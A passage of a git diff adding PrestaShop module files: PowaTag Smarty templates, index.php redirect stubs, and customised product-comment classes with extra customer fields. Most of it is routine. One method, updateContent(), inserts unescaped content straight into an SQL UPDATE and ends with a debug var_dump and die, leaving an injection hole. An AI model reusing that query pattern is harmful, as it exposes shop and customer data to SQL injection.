+* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2015 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        {l s='Order confirmed' mod='powatag'}

        + +

        +{l s='An order has been successfully created.' mod='powatag'}
        +{l s='If you need to contact the merchant because of the order please use the following reference : ' mod='powatag'} {$order->reference|escape:'html':'UTF-8'}.
        +{l s='The order state is : ' mod='powatag'} {$state->name|escape:'html':'UTF-8'}.
        +

        + +

        + {l s='You can visit the shop by clicking' mod='powatag'} {l s='here' mod='powatag'} +

        \ No newline at end of file diff --git a/modules/powatag/views/templates/front/confirmation2.tpl b/modules/powatag/views/templates/front/confirmation2.tpl new file mode 100644 index 0000000..7037cf4 --- /dev/null +++ b/modules/powatag/views/templates/front/confirmation2.tpl @@ -0,0 +1,30 @@ +{* +* 2007-2015 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2015 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        {l s='Order confirmed' mod='powatag'}

        + +

        +{l s='An order has been successfully created.' mod='powatag'} +

        diff --git a/modules/powatag/views/templates/front/error.tpl b/modules/powatag/views/templates/front/error.tpl new file mode 100644 index 0000000..0c130b0 --- /dev/null +++ b/modules/powatag/views/templates/front/error.tpl @@ -0,0 +1,31 @@ +{* +* 2007-2015 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2015 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        {l s='Order error' mod='powatag'}

        + +

        +{l s='You cannot see the details for this order' mod='powatag'}
        +{l s='Please login to see details' mod='powatag'} +

        diff --git a/modules/powatag/views/templates/front/index.php b/modules/powatag/views/templates/front/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/views/templates/front/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/views/templates/hook/index.php b/modules/powatag/views/templates/hook/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/views/templates/hook/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/views/templates/hook/powatag_configuration_after.tpl b/modules/powatag/views/templates/hook/powatag_configuration_after.tpl new file mode 100644 index 0000000..17b46c4 --- /dev/null +++ b/modules/powatag/views/templates/hook/powatag_configuration_after.tpl @@ -0,0 +1,29 @@ +{* +* 2007-2015 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2015 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +
        +
        + + {l s='If you have any issues or have questions please download our' mod='powatag'} {l s='user manual' mod='powatag'} {l s='or email' mod='powatag'} {l s='PrestaShop Enquiry' mod='powatag'} +
        \ No newline at end of file diff --git a/modules/powatag/views/templates/hook/powatag_configuration_before.tpl b/modules/powatag/views/templates/hook/powatag_configuration_before.tpl new file mode 100644 index 0000000..be6988a --- /dev/null +++ b/modules/powatag/views/templates/hook/powatag_configuration_before.tpl @@ -0,0 +1,175 @@ +{* +* 2007-2015 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2015 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + +{if $marketing} +
        + + +
        + + + +
        +

        + + {l s='PowaTag' mod='powatag'} + + + {l s='business freedom is knowing your customer' mod='powatag'} + +

        + +

        + {l s='PowaTag is an exciting new mobile business solution that seamlessly integrates the physical and online experience to transform the future of shopping and your business.' mod='powatag'} +

        + +

        + {l s='As retail\'s missing link, PowaTag combines the instant gratification of real world shopping with the speed, convenience and informative nature of internet retailing.' mod='powatag'} +

        + +

        + {l s='PowaTag acts as a mobile payment enabler, integrating directly with PrestaShop\'s platform and existing payment infrastructures. ​' mod='powatag'} +

        + +

        {l s='The advantages of PowaTag' mod='powatag'}:

        + +
          +
        • + {l s='Offer a seamless consumer experience across all purchase channels' mod='powatag'} +
        • +
        • + {l s='Allow customers to purchase straight from your product pages' mod='powatag'} +
        • +
        • + {l s='Enable customers to download your catalogue and purchase at their leisure from their mobile' mod='powatag'} +
        • +
        • + {l s='Experience an omni-channel solution that truly opens up new sales channels, generating new revenue for you' mod='powatag'} +
        • +
        • + {l s='Sell directly and instantly from online advertising, broadcast and print' mod='powatag'} +
        • +
        • + {l s='Interact with customers – engaging, incentivising, rewarding loyalty and generating action' mod='powatag'} +
        • +
        • + {l s='Drive and support impulse purchases, by simplifying the buying experience within existing e-commerce workflows' mod='powatag'} +
        • +
        + +
        + + +
        + {l s='Got questions?' mod='powatag'}
        + {l s='Visit our website' mod='powatag'} + {l s='powatag.com' mod='powatag'} + {l s='or email' mod='powatag'} + {l s='PrestaShop Enquiry' mod='powatag'} +
        +
        + +
        +
        +
        +
        +
        + + {l s='Have you registered and accepted our T&Cs ?' mod='powatag'} + {l s='No' mod='powatag'}    + {l s='Yes' mod='powatag'} +
        + + + +{else} + + +{/if} +
        + {l s='Please use the information provided during the PowaTag registration process to complete the fields below' mod='powatag'}
        + {l s='To start transacting with your customers, switch to a live PowaTag account by' mod='powatag'} {l s='contacting us' mod='powatag'} +
        +
        + +
        diff --git a/modules/powatag/views/templates/hook/powatag_header.tpl b/modules/powatag/views/templates/hook/powatag_header.tpl new file mode 100644 index 0000000..1c9bf05 --- /dev/null +++ b/modules/powatag/views/templates/hook/powatag_header.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2015 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2015 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + diff --git a/modules/powatag/views/templates/hook/product.tpl b/modules/powatag/views/templates/hook/product.tpl new file mode 100644 index 0000000..5f491ee --- /dev/null +++ b/modules/powatag/views/templates/hook/product.tpl @@ -0,0 +1,49 @@ +{* +* 2007-2015 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2015 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        + diff --git a/modules/powatag/views/templates/index.php b/modules/powatag/views/templates/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/views/templates/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/productcomments/ProductComment.php b/modules/productcomments/ProductComment.php new file mode 100755 index 0000000..5bba8a5 --- /dev/null +++ b/modules/productcomments/ProductComment.php @@ -0,0 +1,478 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class ProductComment extends ObjectModel +{ + public $id; + + /** @var integer Product's id */ + public $id_product; + + /** @var integer Customer's id */ + public $id_customer; + + /** @var integer Guest's id */ + public $id_guest; + + /** @var string Customer's email */ + public $customer_email; + + /** @var integer Customer name */ + public $customer_name; + public $customer_type_de_peau; + public $customer_age; + public $customer_civilite; + public $customer_surname; + + /** @var string Title */ + public $title; + + /** @var string Content */ + public $content; + + /** @var integer Grade */ + public $grade; + + /** @var boolean Validate */ + public $validate = 0; + + public $deleted = 0; + + /** @var string Object creation date */ + public $date_add; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'product_comment', + 'primary' => 'id_product_comment', + 'fields' => array( + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_guest' => array('type' => self::TYPE_INT), + 'customer_email' => array('type' => self::TYPE_STRING, 'validate' => 'isEmail', 'required' => true), + 'customer_name' => array('type' => self::TYPE_STRING), + 'customer_type_de_peau' => array('type' => self::TYPE_STRING), + 'customer_age' => array('type' => self::TYPE_STRING), + 'customer_civilite' => array('type' => self::TYPE_STRING), + 'customer_surname' => array('type' => self::TYPE_STRING), + + 'title' => array('type' => self::TYPE_STRING), + 'content' => array('type' => self::TYPE_STRING, 'validate' => 'isMessage', 'size' => 65535, 'required' => true), + 'grade' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'validate' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'deleted' => array('type' => self::TYPE_BOOL), + 'date_add' => array('type' => self::TYPE_DATE), + ) + ); + + /** + * Get comments by IdProduct + * + * @return array Comments + */ + public static function getByProduct($id_product, $p = 1, $n = null, $id_customer = null) + { + if (!Validate::isUnsignedId($id_product)) + die(Tools::displayError()); + $validate = Configuration::get('PRODUCT_COMMENTS_MODERATE'); + $p = (int)$p; + $n = (int)$n; + if ($p <= 1) + $p = 1; + if ($n != null && $n <= 0) + $n = 5; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT pc.*,pc.`id_product_comment`, + (SELECT count(*) FROM `'._DB_PREFIX_.'product_comment_usefulness` pcu WHERE pcu.`id_product_comment` = pc.`id_product_comment` AND pcu.`usefulness` = 1) as total_useful, + (SELECT count(*) FROM `'._DB_PREFIX_.'product_comment_usefulness` pcu WHERE pcu.`id_product_comment` = pc.`id_product_comment`) as total_advice, '. + ((int)$id_customer ? '(SELECT count(*) FROM `'._DB_PREFIX_.'product_comment_usefulness` pcuc WHERE pcuc.`id_product_comment` = pc.`id_product_comment` AND pcuc.id_customer = '.(int)$id_customer.') as customer_advice, ' : ''). + ((int)$id_customer ? '(SELECT count(*) FROM `'._DB_PREFIX_.'product_comment_report` pcrc WHERE pcrc.`id_product_comment` = pc.`id_product_comment` AND pcrc.id_customer = '.(int)$id_customer.') as customer_report, ' : '').' + pc.customer_name, + pc.customer_type_de_peau, + pc.customer_age, + pc.customer_civilite, + pc.customer_surname, + pc.`content`, pc.`grade`, pc.`date_add`, pc.title + FROM `'._DB_PREFIX_.'product_comment` pc + LEFT JOIN `'._DB_PREFIX_.'customer` c ON c.`id_customer` = pc.`id_customer` + WHERE pc.`id_product` = '.(int)($id_product).($validate == '1' ? ' AND pc.`validate` = 1' : '').' + ORDER BY pc.`date_add` DESC + '.($n ? 'LIMIT '.(int)(($p - 1) * $n).', '.(int)($n) : '')); + } + + /** + * Return customer's comment + * + * @return arrayComments + */ + public static function getByCustomer($id_product, $id_customer, $get_last = false, $id_guest = false) + { + $results = Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'product_comment` pc + WHERE pc.`id_product` = '.(int)$id_product.' + AND '.(!$id_guest ? 'pc.`id_customer` = '.(int)$id_customer : 'pc.`id_guest` = '.(int)$id_guest).' + ORDER BY pc.`date_add` DESC ' + .($get_last ? 'LIMIT 1' : '') + ); + + if ($get_last) + $results = array_shift($results); + return $results; + } + + /** + * Get Grade By product + * + * @return array Grades + */ + public static function getGradeByProduct($id_product, $id_lang) + { + if (!Validate::isUnsignedId($id_product) || + !Validate::isUnsignedId($id_lang)) + die(Tools::displayError()); + $validate = Configuration::get('PRODUCT_COMMENTS_MODERATE'); + + + return (Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT pc.`id_product_comment`, pcg.`grade`, pccl.`name`, pcc.`id_product_comment_criterion` + FROM `'._DB_PREFIX_.'product_comment` pc + LEFT JOIN `'._DB_PREFIX_.'product_comment_grade` pcg ON (pcg.`id_product_comment` = pc.`id_product_comment`) + LEFT JOIN `'._DB_PREFIX_.'product_comment_criterion` pcc ON (pcc.`id_product_comment_criterion` = pcg.`id_product_comment_criterion`) + LEFT JOIN `'._DB_PREFIX_.'product_comment_criterion_lang` pccl ON (pccl.`id_product_comment_criterion` = pcg.`id_product_comment_criterion`) + WHERE pc.`id_product` = '.(int)$id_product.' + AND pccl.`id_lang` = '.(int)$id_lang. + ($validate == '1' ? ' AND pc.`validate` = 1' : ''))); + } + + public static function getAverageGrade($id_product) + { + $validate = Configuration::get('PRODUCT_COMMENTS_MODERATE'); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT (SUM(pc.`grade`) / COUNT(pc.`grade`)) AS grade + FROM `'._DB_PREFIX_.'product_comment` pc + WHERE pc.`id_product` = '.(int)$id_product.' + AND pc.`deleted` = 0'. + ($validate == '1' ? ' AND pc.`validate` = 1' : '')); + } + + public static function getAveragesByProduct($id_product, $id_lang) + { + /* Get all grades */ + $grades = ProductComment::getGradeByProduct((int)$id_product, (int)$id_lang); + $total = ProductComment::getGradedCommentNumber((int)$id_product); + if (!count($grades) || (!$total)) + return array(); + + /* Addition grades for each criterion */ + $criterionsGradeTotal = array(); + $count_grades = count($grades); + for ($i = 0; $i < $count_grades; ++$i) + if (array_key_exists($grades[$i]['id_product_comment_criterion'], $criterionsGradeTotal) === false) + $criterionsGradeTotal[$grades[$i]['id_product_comment_criterion']] = (int)($grades[$i]['grade']); + else + $criterionsGradeTotal[$grades[$i]['id_product_comment_criterion']] += (int)($grades[$i]['grade']); + + /* Finally compute the averages */ + $averages = array(); + foreach ($criterionsGradeTotal as $key => $criterionGradeTotal) + $averages[(int)($key)] = (int)($total) ? ((int)($criterionGradeTotal) / (int)($total)) : 0; + return $averages; + } + + /** + * Return number of comments and average grade by products + * + * @return array Info + */ + public static function getCommentNumber($id_product) + { + if (!Validate::isUnsignedId($id_product)) + die(Tools::displayError()); + $validate = (int)Configuration::get('PRODUCT_COMMENTS_MODERATE'); + if (($result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT COUNT(`id_product_comment`) AS "nbr" + FROM `'._DB_PREFIX_.'product_comment` pc + WHERE `id_product` = '.(int)($id_product).($validate == '1' ? ' AND `validate` = 1' : ''))) === false) + return false; + return (int)($result['nbr']); + } + + /** + * Return number of comments and average grade by products + * + * @return array Info + */ + public static function getGradedCommentNumber($id_product) + { + if (!Validate::isUnsignedId($id_product)) + die(Tools::displayError()); + $validate = (int)Configuration::get('PRODUCT_COMMENTS_MODERATE'); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT COUNT(pc.`id_product`) AS nbr + FROM `'._DB_PREFIX_.'product_comment` pc + WHERE `id_product` = '.(int)($id_product).($validate == '1' ? ' AND `validate` = 1' : '').' + AND `grade` > 0'); + return (int)($result['nbr']); + } + + /** + * Get comments by Validation + * + * @return array Comments + */ + public static function getByValidate($validate = '0', $deleted = false) + { + return (Db::getInstance()->executeS(' + SELECT pc.`id_product_comment`, + pc.`id_product`, + pc.`title`, + pc.customer_name, + pc.customer_type_de_peau, + pc.customer_age, + pc.customer_civilite, + pc.customer_surname, + pc.`content`, pc.`grade`, pc.`date_add`, pl.`name` + FROM `'._DB_PREFIX_.'product_comment` pc + LEFT JOIN `'._DB_PREFIX_.'customer` c ON (c.`id_customer` = pc.`id_customer`) + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (pl.`id_product` = pc.`id_product` AND pl.`id_lang` = '.(int)Context::getContext()->language->id.Shop::addSqlRestrictionOnLang('pl').') + WHERE pc.`validate` = '.(int)$validate.' + AND pc.`deleted` != 1 + ORDER BY pc.`date_add` DESC')); + } + + /** + * Get comments History + * + * @return array Comments + */ + public static function getHistory() + { + return (Db::getInstance()->executeS(' + SELECT pc.`id_product_comment`, + pc.`id_product`, + pc.`title`, + pc.customer_name, + pc.customer_type_de_peau, + pc.customer_age, + pc.customer_civilite, + pc.customer_surname, + pc.`content`, pc.`grade`, pc.`date_add`, pl.`name` + FROM `'._DB_PREFIX_.'product_comment` pc + LEFT JOIN `'._DB_PREFIX_.'customer` c ON (c.`id_customer` = pc.`id_customer`) + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (pl.`id_product` = pc.`id_product` AND pl.`id_lang` = '.(int)Context::getContext()->language->id.Shop::addSqlRestrictionOnLang('pl').') + WHERE pc.`deleted` = 1 + ORDER BY pc.`date_add` DESC')); + } + + /** + * Get all comments + * + * @return array Comments + */ + public static function getAll() + { + return (Db::getInstance()->executeS(' + SELECT pc.`id_product_comment`, + pc.`id_product`, + pc.`title`, + pc.customer_name, + pc.customer_type_de_peau, + pc.customer_age, + pc.customer_civilite, + pc.customer_surname, + pc.`content`, pc.`grade`, pc.`date_add`, pl.`name` + FROM `'._DB_PREFIX_.'product_comment` pc + LEFT JOIN `'._DB_PREFIX_.'customer` c ON (c.`id_customer` = pc.`id_customer`) + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (pl.`id_product` = pc.`id_product` AND pl.`id_lang` = '.(int)Context::getContext()->language->id.Shop::addSqlRestrictionOnLang('pl').') + ORDER BY pc.`date_add` DESC')); + } + + /** + * Validate a comment + * + * @return boolean succeed + */ + public function validate($validate = '1') + { + if (!Validate::isUnsignedId($this->id)) + die(Tools::displayError()); + return (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'product_comment` SET + `validate` = '.(int)$validate.' + WHERE `id_product_comment` = '.(int)$this->id)); + } + + /** + * Delete Grades + * + * @return boolean succeed + */ + public static function deleteGrades($id_product_comment) + { + if (!Validate::isUnsignedId($id_product_comment)) + die(Tools::displayError()); + return (Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'product_comment_grade` + WHERE `id_product_comment` = '.(int)$id_product_comment)); + } + + /** + * Delete Reports + * + * @return boolean succeed + */ + public static function deleteReports($id_product_comment) + { + if (!Validate::isUnsignedId($id_product_comment)) + die(Tools::displayError()); + return (Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'product_comment_report` + WHERE `id_product_comment` = '.(int)$id_product_comment)); + } + + /** + * Delete usefulness + * + * @return boolean succeed + */ + public static function deleteUsefulness($id_product_comment) + { + if (!Validate::isUnsignedId($id_product_comment)) + die(Tools::displayError()); + + return (Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'product_comment_usefulness` + WHERE `id_product_comment` = '.(int)$id_product_comment)); + } + + /** + * Report comment + * + * @return boolean + */ + public static function reportComment($id_product_comment, $id_customer) + { + return (Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'product_comment_report` (`id_product_comment`, `id_customer`) + VALUES ('.(int)$id_product_comment.', '.(int)$id_customer.')')); + } + + /** + * Comment already report + * + * @return boolean + */ + public static function isAlreadyReport($id_product_comment, $id_customer) + { + return (bool)Db::getInstance()->getValue(' + SELECT COUNT(*) + FROM `'._DB_PREFIX_.'product_comment_report` + WHERE `id_customer` = '.(int)$id_customer.' + AND `id_product_comment` = '.(int)$id_product_comment); + } + + /** + * Set comment usefulness + * + * @return boolean + */ + public static function setCommentUsefulness($id_product_comment, $usefulness, $id_customer) + { + return (Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'product_comment_usefulness` (`id_product_comment`, `usefulness`, `id_customer`) + VALUES ('.(int)$id_product_comment.', '.(int)$usefulness.', '.(int)$id_customer.')')); + } + + /** + * Usefulness already set + * + * @return boolean + */ + public static function isAlreadyUsefulness($id_product_comment, $id_customer) + { + return (bool)Db::getInstance()->getValue(' + SELECT COUNT(*) + FROM `'._DB_PREFIX_.'product_comment_usefulness` + WHERE `id_customer` = '.(int)$id_customer.' + AND `id_product_comment` = '.(int)$id_product_comment); + } + + /** + * Get reported comments + * + * @return array Comments + */ + public static function getReportedComments() + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT DISTINCT(pc.`id_product_comment`), pc.`id_product`, pc.customer_name, + pc.customer_type_de_peau, + pc.customer_age, + pc.customer_civilite, + pc.customer_surname, pc.`content`, pc.`grade`, pc.`date_add`, pl.`name` + FROM `'._DB_PREFIX_.'product_comment_report` pcr + LEFT JOIN `'._DB_PREFIX_.'product_comment` pc + ON pcr.id_product_comment = pc.id_product_comment + LEFT JOIN `'._DB_PREFIX_.'customer` c ON (c.`id_customer` = pc.`id_customer`) + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (pl.`id_product` = pc.`id_product` AND pl.`id_lang` = '.(int)Context::getContext()->language->id.' AND pl.`id_lang` = '.(int)Context::getContext()->language->id.Shop::addSqlRestrictionOnLang('pl').') + ORDER BY pc.`date_add` DESC'); + } + + public function history($id) + { + $sql = 'UPDATE `'._DB_PREFIX_.'product_comment` pc + SET pc.`deleted` = 1 + WHERE pc.`id_product_comment` = '.(int)$id; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + public function retrieve($id) + { + $sql = 'UPDATE `'._DB_PREFIX_.'product_comment` pc + SET pc.`deleted` = 0 + WHERE pc.`id_product_comment` = '.(int)$id; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + public function updateContent($content) + { + $sql = 'UPDATE `'._DB_PREFIX_.'product_comment` pc + SET pc.`content` = '.$content.' + WHERE pc.`id_product_comment` = '.(int)$this->id; + var_dump($sql);die; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + +}; diff --git a/modules/productcomments/ProductCommentCriterion.php b/modules/productcomments/ProductCommentCriterion.php new file mode 100755 index 0000000..dc8f668 --- /dev/null +++ b/modules/productcomments/ProductCommentCriterion.php @@ -0,0 +1,253 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ProductCommentCriterion extends ObjectModel +{ + public $id; + public $id_product_comment_criterion_type; + + public $name; + public $active = true; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'product_comment_criterion', + 'primary' => 'id_product_comment_criterion', + 'multilang' => true, + 'fields' => array( + 'id_product_comment_criterion_type' => array('type' => self::TYPE_INT), + 'active' => array('type' => self::TYPE_BOOL), + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 128), + ) + ); + + public function delete() + { + if (!parent::delete()) + return false; + if ($this->id_product_comment_criterion_type == 2) + { + if (!Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'product_comment_criterion_category + WHERE id_product_comment_criterion='.(int)$this->id)) + return false; + } + elseif ($this->id_product_comment_criterion_type == 3) + { + if (!Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'product_comment_criterion_product + WHERE id_product_comment_criterion='.(int)$this->id)) + return false; + } + + return Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'product_comment_grade` + WHERE `id_product_comment_criterion` = '.(int)$this->id); + } + + public function update($nullValues = false) + { + $previousUpdate = new self((int)$this->id); + if (!parent::update($nullValues)) + return false; + if ($previousUpdate->id_product_comment_criterion_type != $this->id_product_comment_criterion_type) + { + if ($previousUpdate->id_product_comment_criterion_type == 2) + return Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'product_comment_criterion_category + WHERE id_product_comment_criterion = '.(int)$previousUpdate->id); + elseif ($previousUpdate->id_product_comment_criterion_type == 3) + return Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'product_comment_criterion_product + WHERE id_product_comment_criterion = '.(int)$previousUpdate->id); + } + return true; + } + + /** + * Link a Comment Criterion to a product + * + * @return boolean succeed + */ + public function addProduct($id_product) + { + if (!Validate::isUnsignedId($id_product)) + die(Tools::displayError()); + return Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'product_comment_criterion_product` (`id_product_comment_criterion`, `id_product`) + VALUES('.(int)$this->id.','.(int)$id_product.') + '); + } + + /** + * Link a Comment Criterion to a category + * + * @return boolean succeed + */ + public function addCategory($id_category) + { + if (!Validate::isUnsignedId($id_category)) + die(Tools::displayError()); + return Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'product_comment_criterion_category` (`id_product_comment_criterion`, `id_category`) + VALUES('.(int)$this->id.','.(int)$id_category.') + '); + } + + /** + * Add grade to a criterion + * + * @return boolean succeed + */ + public function addGrade($id_product_comment, $grade) + { + if (!Validate::isUnsignedId($id_product_comment)) + die(Tools::displayError()); + if ($grade < 0) + $grade = 0; + elseif ($grade > 10) + $grade = 10; + return (Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'product_comment_grade` + (`id_product_comment`, `id_product_comment_criterion`, `grade`) VALUES( + '.(int)($id_product_comment).', + '.(int)$this->id.', + '.(int)($grade).')')); + } + + /** + * Get criterion by Product + * + * @return array Criterion + */ + public static function getByProduct($id_product, $id_lang) + { + if (!Validate::isUnsignedId($id_product) || + !Validate::isUnsignedId($id_lang)) + die(Tools::displayError()); + $alias = 'p'; + $table = ''; + // check if version > 1.5 to add shop association + if (version_compare(_PS_VERSION_, '1.5', '>')) + { + $table = '_shop'; + $alias = 'ps'; + } + return Db::getInstance()->executeS(' + SELECT pcc.`id_product_comment_criterion`, pccl.`name` + FROM `'._DB_PREFIX_.'product_comment_criterion` pcc + LEFT JOIN `'._DB_PREFIX_.'product_comment_criterion_lang` pccl + ON 